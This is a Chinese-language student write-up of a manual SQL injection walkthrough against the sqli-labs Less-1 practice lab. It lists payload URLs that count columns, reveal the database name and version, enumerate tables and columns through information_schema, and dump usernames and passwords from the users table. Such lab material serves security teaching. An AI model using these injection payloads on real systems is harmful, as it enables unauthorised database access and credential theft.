本文作者:啊昊(WEB安全攻防星球学员)
一、尝试
初始化页面如图
输入?id=1,后得到返回页面:
尝试单引号测试:?id=1',发现存在注入点
二、开始sql注入
1、找出页面中背后的数据表中列的数量
http://www.f.com/sqli-labs-master/Less-1/?id=1' or 1=2 order by 3 %23
不断尝试,当我们发现order by 4 时,出现报错
2、检测哪一列可以显示,并查处数据库名字和版本
http://www.f.com/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,3 %23
http://www.f.com/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,database(),version() %23
3、查询数据库中表的数量以及名称,并找出可能存在敏感信息的 表
http://www.f.com/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,count(*),2 from information_schema.TABLES where TABLE_SCHEMA='security'
http://www.f.com/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1
不断尝试,发现以下表中可能有敏感信息:
4、查处users表中的字段数以及名称
http://www.f.com/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,count(COLUMN_NAME),2 from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA='security' %23
http://www.f.com/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA='security' limit 1,1%23
可以看出,该表字段数为3,依次是id,username,password
5、查询username,和password的值
http://www.f.com/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,concat(username,'---',password),2 from users %23
到此告一段落了!
总结
与之前的sqlmap注入相比较,发现手工注入需要更多的逻辑,心里要很清楚下一步代码该做什么,中 途会因为代码的一点错误导致页面报错。然后使用sqlmap这种工具的话,通过命令的方法就可以得到 想要的结果,速度也快。
扫描下方二维码加入WEB安全星球学习
加入后会邀请你进入内部微信群,内部微信群永久有效!
本文始发于微信公众号(Ms08067安全实验室):【学员分享】基于sql注入的sqli-lab靶场的手工注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论